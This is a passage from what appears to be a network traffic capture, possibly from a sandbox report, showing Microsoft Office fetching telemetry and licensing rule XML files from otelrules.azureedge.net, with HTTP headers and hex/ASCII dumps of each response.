2024-11-22 03:12:39 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031239Z-178bfbc474bfw4gbhC1NYCunf400000002a000000000mvqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:39 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:39 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ce6cb833-501e-007b-514e-3c5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031239Z-15b8b599d88vp97chC1TEB5pzw00000000vg000000007862 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031239Z-178bfbc474bw8bwphC1NYC38b4000000024000000000nh2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:40 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:40 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031240Z-178bfbc474bwlrhlhC1NYCy3kg00000002e0000000005ttw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:40 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:40 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031240Z-15b8b599d88z9sc7hC1TEBkr4w00000000y000000000eh4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8d0ecd0b-301e-0020-617e-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031241Z-174c587ffdfks6tlhC1TEBeza400000000xg00000000b1ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:41 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031241Z-178bfbc474bp8mkvhC1NYCzqnn000000029g000000003xyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:41 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:41 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: fde4123d-901e-00a0-613d-3c6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031241Z-178bfbc474bpscmfhC1NYCfc2c000000012g000000000b0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:42 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:42 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031242Z-178bfbc474bq2pr7hC1NYCkfgg00000002g000000000d7z6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:42 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031242Z-178bfbc474bwh9gmhC1NYCy3rs00000002d000000000gy25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:43 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:44 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031243Z-178bfbc474bwlrhlhC1NYCy3kg000000029g00000000ndqk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:44 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:43 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:44 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 008b0be1-f01e-001f-587c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031243Z-174c587ffdf59vqchC1TEByk680000000120000000004nzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:44 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 